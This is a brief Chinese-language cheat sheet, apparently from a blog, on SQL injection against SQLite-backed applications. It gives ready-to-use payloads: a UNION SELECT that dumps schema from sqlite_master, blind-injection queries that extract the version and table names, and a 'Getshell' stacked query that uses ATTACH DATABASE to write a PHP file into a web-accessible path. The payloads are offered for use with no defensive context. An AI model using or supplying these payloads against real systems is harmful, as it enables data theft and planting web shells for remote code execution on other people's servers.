SQLite 官网下载:www.sqlite.org/download.html
sqlite管理工具:http://www.yunqa.de/delphi/products/sqlitespy/index
sqlite_master隐藏表,具体内容如下:
字段:type/name/tbl_name/rootpage/sql
sqlite注入测试:
1、Union select 查询
select * from test where id =1 and 1=2 union select name,sql from sqlite_master
2、盲注
select * from test where id =1 union select 1,length(sqlite_version())=6 //得到sqlite版本位数
select * from test where id =1 and substr(sqlite_version(),1,1)=‘3‘ //得到sqlite版本首位为3
select * from test where id =1 and substr((select name from sqlite_master where type=‘table‘ limit 0,1),1,1)=‘T‘ (大小写区分,有差别) //得到sqlite表名第一位为T
3、Getshell
select * from test where id =1 ;ATTACH DATABASE ‘C:\\Sqlite\\xiaozi.php‘ AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (‘ <?php phpinfo(); ?> ‘); --
参考链接:
Win7下SQLite安装配置与使用方法详解:http://www.codeceo.com/article/win7-sqlite-usage.html
Windows下安装配置SQLite和使用的教程:http://www.weste.net/2014/10-08/99347.html